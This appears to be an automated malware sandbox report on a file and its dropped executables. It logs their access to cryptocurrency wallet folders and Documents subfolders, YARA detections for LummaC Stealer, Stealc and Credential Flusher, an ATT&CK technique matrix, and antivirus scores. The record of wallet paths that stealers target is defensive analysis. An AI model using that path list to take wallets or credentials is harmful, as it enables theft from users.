Source: C:\Users\user\AppData\Local\Temp\1003156001\6c1c4a36e1.exe	File opened: C:\Users\user\AppData\Roaming\Binance	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003156001\6c1c4a36e1.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003156001\6c1c4a36e1.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003156001\6c1c4a36e1.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003156001\6c1c4a36e1.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003156001\6c1c4a36e1.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet
Source: C:\Users\user\AppData\Local\Temp\1003156001\6c1c4a36e1.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet
Source: C:\Users\user\AppData\Local\Temp\1003156001\6c1c4a36e1.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live
Source: C:\Users\user\AppData\Local\Temp\1003156001\6c1c4a36e1.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb
Source: C:\Users\user\AppData\Local\Temp\1003156001\6c1c4a36e1.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets
Source: C:\Users\user\AppData\Local\Temp\1003156001\6c1c4a36e1.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets
Source: C:\Users\user\AppData\Local\Temp\1003156001\6c1c4a36e1.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets
Source: C:\Users\user\AppData\Local\Temp\1003156001\6c1c4a36e1.exe	File opened: C:\Users\user\AppData\Roaming\Binance
Source: C:\Users\user\AppData\Local\Temp\1003156001\6c1c4a36e1.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB
Source: C:\Users\user\AppData\Local\Temp\1003156001\6c1c4a36e1.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets
Source: C:\Users\user\AppData\Local\Temp\1003156001\6c1c4a36e1.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets
Source: C:\Users\user\AppData\Local\Temp\1003156001\6c1c4a36e1.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB

Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\AQRFEVRTGL	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\BWDRWEEARI	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\LHEPQPGEWF	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\AQRFEVRTGL	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\CZQKSDDMWR	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\GLTYDMDUST	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\BWDRWEEARI	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\CZQKSDDMWR	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\CZQKSDDMWR	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\FAAGWHBVUU	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\GJBHWQDROJ	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\LFOPODGVOH	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003156001\6c1c4a36e1.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003156001\6c1c4a36e1.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003156001\6c1c4a36e1.exe	Directory queried: C:\Users\user\Documents\AQRFEVRTGL	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003156001\6c1c4a36e1.exe	Directory queried: C:\Users\user\Documents\BWDRWEEARI	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003156001\6c1c4a36e1.exe	Directory queried: C:\Users\user\Documents\CZQKSDDMWR	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003156001\6c1c4a36e1.exe	Directory queried: C:\Users\user\Documents\FAAGWHBVUU	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003156001\6c1c4a36e1.exe	Directory queried: C:\Users\user\Documents\FAAGWHBVUU	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003156001\6c1c4a36e1.exe	Directory queried: C:\Users\user\Documents\GJBHWQDROJ	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003156001\6c1c4a36e1.exe	Directory queried: C:\Users\user\Documents\GLTYDMDUST	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003156001\6c1c4a36e1.exe	Directory queried: C:\Users\user\Documents\LFOPODGVOH	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003156001\6c1c4a36e1.exe	Directory queried: C:\Users\user\Documents\LHEPQPGEWF	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003156001\6c1c4a36e1.exe	Directory queried: C:\Users\user\Documents\NIRMEKAMZH	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003156001\6c1c4a36e1.exe	Directory queried: C:\Users\user\Documents\UNKRLCVOHV	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003156001\6c1c4a36e1.exe	Directory queried: C:\Users\user\Documents\VWDFPKGDUF	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003156001\6c1c4a36e1.exe	Directory queried: C:\Users\user\Documents\ZUYYDJDFVF	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003156001\6c1c4a36e1.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003156001\6c1c4a36e1.exe	Directory queried: C:\Users\user\Documents\AQRFEVRTGL	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003156001\6c1c4a36e1.exe	Directory queried: C:\Users\user\Documents\BWDRWEEARI	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003156001\6c1c4a36e1.exe	Directory queried: C:\Users\user\Documents\CZQKSDDMWR	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003156001\6c1c4a36e1.exe	Directory queried: C:\Users\user\Documents\FAAGWHBVUU	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003156001\6c1c4a36e1.exe	Directory queried: C:\Users\user\Documents\GJBHWQDROJ	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003156001\6c1c4a36e1.exe	Directory queried: C:\Users\user\Documents\GLTYDMDUST	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003156001\6c1c4a36e1.exe	Directory queried: C:\Users\user\Documents\LFOPODGVOH	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003156001\6c1c4a36e1.exe	Directory queried: C:\Users\user\Documents\LHEPQPGEWF	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003156001\6c1c4a36e1.exe	Directory queried: C:\Users\user\Documents\NIRMEKAMZH	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003156001\6c1c4a36e1.exe	Directory queried: C:\Users\user\Documents\UNKRLCVOHV	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003156001\6c1c4a36e1.exe	Directory queried: C:\Users\user\Documents\VWDFPKGDUF	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003156001\6c1c4a36e1.exe	Directory queried: C:\Users\user\Documents\ZUYYDJDFVF	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003156001\6c1c4a36e1.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003156001\6c1c4a36e1.exe	Directory queried: C:\Users\user\Documents\AQRFEVRTGL	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003156001\6c1c4a36e1.exe	Directory queried: C:\Users\user\Documents\BWDRWEEARI	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003156001\6c1c4a36e1.exe	Directory queried: C:\Users\user\Documents\CZQKSDDMWR	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003156001\6c1c4a36e1.exe	Directory queried: C:\Users\user\Documents\FAAGWHBVUU	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003156001\6c1c4a36e1.exe	Directory queried: C:\Users\user\Documents\GJBHWQDROJ	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003156001\6c1c4a36e1.exe	Directory queried: C:\Users\user\Documents\GLTYDMDUST	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003156001\6c1c4a36e1.exe	Directory queried: C:\Users\user\Documents\LFOPODGVOH	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003156001\6c1c4a36e1.exe	Directory queried: C:\Users\user\Documents\LHEPQPGEWF	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003156001\6c1c4a36e1.exe	Directory queried: C:\Users\user\Documents\NIRMEKAMZH	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003156001\6c1c4a36e1.exe	Directory queried: C:\Users\user\Documents\UNKRLCVOHV	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003156001\6c1c4a36e1.exe	Directory queried: C:\Users\user\Documents\VWDFPKGDUF	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003156001\6c1c4a36e1.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003156001\6c1c4a36e1.exe	Directory queried: C:\Users\user\Documents\AQRFEVRTGL	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003156001\6c1c4a36e1.exe	Directory queried: C:\Users\user\Documents\BWDRWEEARI	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003156001\6c1c4a36e1.exe	Directory queried: C:\Users\user\Documents\FAAGWHBVUU	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003156001\6c1c4a36e1.exe	Directory queried: C:\Users\user\Documents\GJBHWQDROJ	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003156001\6c1c4a36e1.exe	Directory queried: C:\Users\user\Documents\GLTYDMDUST	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003156001\6c1c4a36e1.exe	Directory queried: C:\Users\user\Documents\LFOPODGVOH	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003156001\6c1c4a36e1.exe	Directory queried: C:\Users\user\Documents\LHEPQPGEWF	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003156001\6c1c4a36e1.exe	Directory queried: C:\Users\user\Documents\NIRMEKAMZH	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003156001\6c1c4a36e1.exe	Directory queried: C:\Users\user\Documents\UNKRLCVOHV	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003156001\6c1c4a36e1.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003156001\6c1c4a36e1.exe	Directory queried: C:\Users\user\Documents\AQRFEVRTGL	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003156001\6c1c4a36e1.exe	Directory queried: C:\Users\user\Documents\BWDRWEEARI	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003156001\6c1c4a36e1.exe	Directory queried: C:\Users\user\Documents\CZQKSDDMWR	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003156001\6c1c4a36e1.exe	Directory queried: C:\Users\user\Documents\FAAGWHBVUU	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003156001\6c1c4a36e1.exe	Directory queried: C:\Users\user\Documents\GJBHWQDROJ	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003156001\6c1c4a36e1.exe	Directory queried: C:\Users\user\Documents\GLTYDMDUST	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003156001\6c1c4a36e1.exe	Directory queried: C:\Users\user\Documents\LFOPODGVOH	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003156001\6c1c4a36e1.exe	Directory queried: C:\Users\user\Documents\LHEPQPGEWF	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003156001\6c1c4a36e1.exe	Directory queried: C:\Users\user\Documents\VWDFPKGDUF	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003156001\6c1c4a36e1.exe	Directory queried: C:\Users\user\Documents\ZUYYDJDFVF	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003156001\6c1c4a36e1.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003156001\6c1c4a36e1.exe	Directory queried: C:\Users\user\Documents\AQRFEVRTGL	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003156001\6c1c4a36e1.exe	Directory queried: C:\Users\user\Documents\BWDRWEEARI	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003156001\6c1c4a36e1.exe	Directory queried: C:\Users\user\Documents\CZQKSDDMWR	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003156001\6c1c4a36e1.exe	Directory queried: C:\Users\user\Documents\FAAGWHBVUU	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003156001\6c1c4a36e1.exe	Directory queried: C:\Users\user\Documents\GJBHWQDROJ	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003156001\6c1c4a36e1.exe	Directory queried: C:\Users\user\Documents\UNKRLCVOHV	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003156001\6c1c4a36e1.exe	Directory queried: C:\Users\user\Documents\VWDFPKGDUF	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003156001\6c1c4a36e1.exe	Directory queried: C:\Users\user\Documents\ZUYYDJDFVF	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003156001\6c1c4a36e1.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003156001\6c1c4a36e1.exe	Directory queried: C:\Users\user\Documents\AQRFEVRTGL	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003156001\6c1c4a36e1.exe	Directory queried: C:\Users\user\Documents\BWDRWEEARI	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003156001\6c1c4a36e1.exe	Directory queried: C:\Users\user\Documents\FAAGWHBVUU	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003156001\6c1c4a36e1.exe	Directory queried: C:\Users\user\Documents\GJBHWQDROJ	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003156001\6c1c4a36e1.exe	Directory queried: C:\Users\user\Documents\GLTYDMDUST	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003156001\6c1c4a36e1.exe	Directory queried: C:\Users\user\Documents\LFOPODGVOH	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003156001\6c1c4a36e1.exe	Directory queried: C:\Users\user\Documents\LHEPQPGEWF	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003156001\6c1c4a36e1.exe	Directory queried: C:\Users\user\Documents\NIRMEKAMZH	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003156001\6c1c4a36e1.exe	Directory queried: C:\Users\user\Documents\UNKRLCVOHV	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003156001\6c1c4a36e1.exe	Directory queried: C:\Users\user\Documents\VWDFPKGDUF	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003156001\6c1c4a36e1.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003156001\6c1c4a36e1.exe	Directory queried: C:\Users\user\Documents\BWDRWEEARI	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003156001\6c1c4a36e1.exe	Directory queried: C:\Users\user\Documents\FAAGWHBVUU	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003156001\6c1c4a36e1.exe	Directory queried: C:\Users\user\Documents\GJBHWQDROJ	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003156001\6c1c4a36e1.exe	Directory queried: C:\Users\user\Documents\GLTYDMDUST	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003156001\6c1c4a36e1.exe	Directory queried: C:\Users\user\Documents\LFOPODGVOH	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003156001\6c1c4a36e1.exe	Directory queried: C:\Users\user\Documents\LHEPQPGEWF	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003156001\6c1c4a36e1.exe	Directory queried: C:\Users\user\Documents\NIRMEKAMZH	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003156001\6c1c4a36e1.exe	Directory queried: C:\Users\user\Documents\UNKRLCVOHV	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003156001\6c1c4a36e1.exe	Directory queried: C:\Users\user\Documents\ZUYYDJDFVF	Jump to behavior

Source: Yara match	File source: 00000012.00000003.2305295015.0000000001488000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000012.00000003.2284213828.00000000014A4000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000012.00000003.2283516905.00000000014A4000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000012.00000003.2269185337.00000000014A3000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000012.00000003.2301693773.0000000001496000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000012.00000003.2321077874.0000000001488000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000012.00000003.2283723837.00000000014A4000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000012.00000003.2302606153.0000000001488000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000012.00000003.2302114944.0000000001488000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000012.00000003.2301693773.0000000001488000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000012.00000003.2268831971.000000000148E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000026.00000002.2532922901.0000000000C23000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000012.00000003.2285702611.00000000014A4000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000012.00000003.2285577921.00000000014A4000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000012.00000003.2301992419.0000000001496000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000012.00000003.2321024106.0000000001495000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 5140, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 6c1c4a36e1.exe PID: 5640, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 6c1c4a36e1.exe PID: 8108, type: MEMORYSTR

Remote Access Functionality

Yara detected Credential Flusher

Source: Yara match	File source: 00000014.00000003.2379592196.00000000017FF000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: 9af14a3c40.exe PID: 2140, type: MEMORYSTR

Yara detected LummaC Stealer

Source: Yara match	File source: Process Memory Space: file.exe PID: 5140, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 6c1c4a36e1.exe PID: 5640, type: MEMORYSTR
Source: Yara match	File source: sslproxydump.pcap, type: PCAP

Yara detected Stealc

Source: Yara match	File source: 37.2.num.exe.8d0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 37.0.num.exe.8d0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 41.2.4b41d9dd20.exe.a30000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 19.2.4b41d9dd20.exe.a30000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000013.00000003.2271033754.0000000005380000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000013.00000002.2314305841.00000000018EC000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000029.00000003.2472215576.0000000005180000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000025.00000000.2371370494.00000000008EE000.00000002.00000001.01000000.00000017.sdmp, type: MEMORY
Source: Yara match	File source: 00000025.00000002.2392488170.000000000063E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000025.00000000.2371042697.00000000008D1000.00000080.00000001.01000000.00000017.sdmp, type: MEMORY
Source: Yara match	File source: 00000025.00000002.2397297252.00000000008D1000.00000080.00000001.01000000.00000017.sdmp, type: MEMORY
Source: Yara match	File source: 00000029.00000002.2527180417.00000000014DB000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000025.00000002.2397549436.00000000008EE000.00000002.00000001.01000000.00000017.sdmp, type: MEMORY
Source: Yara match	File source: 00000013.00000002.2312440021.0000000000A31000.00000040.00000001.01000000.0000000F.sdmp, type: MEMORY
Source: Yara match	File source: 00000029.00000002.2513367110.0000000000A31000.00000040.00000001.01000000.0000000F.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: 4b41d9dd20.exe PID: 6728, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: num.exe PID: 1352, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 4b41d9dd20.exe PID: 5320, type: MEMORYSTR
Source: Yara match	File source: decrypted.memstr, type: MEMORYSTR
Source: Yara match	File source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ATCVA5TX\num[1].exe, type: DROPPED
Source: Yara match	File source: C:\Users\user\AppData\Local\Temp\1003159001\num.exe, type: DROPPED
Source: Yara match	File source: dump.pcap, type: PCAP

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	21 Windows Management Instrumentation	1 DLL Side-Loading	1 DLL Side-Loading	411 Disable or Modify Tools	2 OS Credential Dumping	1 System Time Discovery	Remote Services	1 Archive Collected Data	12 Ingress Tool Transfer	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	2 Command and Scripting Interpreter	1 Windows Service	2 Bypass User Account Control	1 Deobfuscate/Decode Files or Information	LSASS Memory	1 Account Discovery	Remote Desktop Protocol	41 Data from Local System	11 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 Scheduled Task/Job	1 Scheduled Task/Job	1 Extra Window Memory Injection	3 Obfuscated Files or Information	Security Account Manager	11 File and Directory Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	3 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	1 Service Execution	11 Registry Run Keys / Startup Folder	1 Windows Service	12 Software Packing	NTDS	236 System Information Discovery	Distributed Component Object Model	Input Capture	114 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	1 PowerShell	Network Logon Script	12 Process Injection	1 DLL Side-Loading	LSA Secrets	861 Security Software Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	1 Scheduled Task/Job	2 Bypass User Account Control	Cached Domain Credentials	2 Process Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	11 Registry Run Keys / Startup Folder	1 Extra Window Memory Injection	DCSync	371 Virtualization/Sandbox Evasion	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	11 Masquerading	Proc Filesystem	1 System Owner/User Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	371 Virtualization/Sandbox Evasion	/etc/passwd and /etc/shadow	Network Sniffing	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement
IP Addresses	Compromise Infrastructure	Supply Chain Compromise	PowerShell	Cron	Cron	12 Process Injection	Network Sniffing	Network Service Discovery	Shared Webroot	Local Data Staging	File Transfer Protocols	Exfiltration Over Asymmetric Encrypted Non-C2 Protocol	External Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label
file.exe	47%	ReversingLabs	Win32.Trojan.Generic
file.exe	100%	Avira	TR/Crypt.TPM.Gen
file.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label
C:\Users\user\AppData\Local\Temp\1003156001\6c1c4a36e1.exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Temp\SU4Z0W976Y8CJ3Z4HHN.exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BEDT2L3A\random[1].exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BEDT2L3A\random[1].exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Temp\1003157001\4b41d9dd20.exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Temp\1003156001\6c1c4a36e1.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ATCVA5TX\num[1].exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\SU4Z0W976Y8CJ3Z4HHN.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\1003159001\num.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BEDT2L3A\random[1].exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\1003158001\9af14a3c40.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BEDT2L3A\random[1].exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BEDT2L3A\random[1].exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\1003157001\4b41d9dd20.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\UOZM77Y2O77YBMEWY4B8DEDXRXA.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ATCVA5TX\num[1].exe	96%	ReversingLabs	Win32.Trojan.Stealerc
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BEDT2L3A\random[1].exe	47%	ReversingLabs	Win32.Trojan.Generic
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\FGDLZ049\random[1].exe	47%	ReversingLabs	Win32.Trojan.CredentialFlusher
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W1DLB4AP\random[1].exe	42%	ReversingLabs	Win32.Trojan.Generic
C:\Users\user\AppData\Local\Temp\1003156001\6c1c4a36e1.exe	47%	ReversingLabs	Win32.Trojan.Generic
C:\Users\user\AppData\Local\Temp\1003157001\4b41d9dd20.exe	42%	ReversingLabs	Win32.Trojan.Generic
C:\Users\user\AppData\Local\Temp\1003158001\9af14a3c40.exe	47%	ReversingLabs	Win32.Trojan.CredentialFlusher
C:\Users\user\AppData\Local\Temp\1003159001\num.exe	96%	ReversingLabs	Win32.Trojan.Stealerc

Source	Detection	Scanner	Label
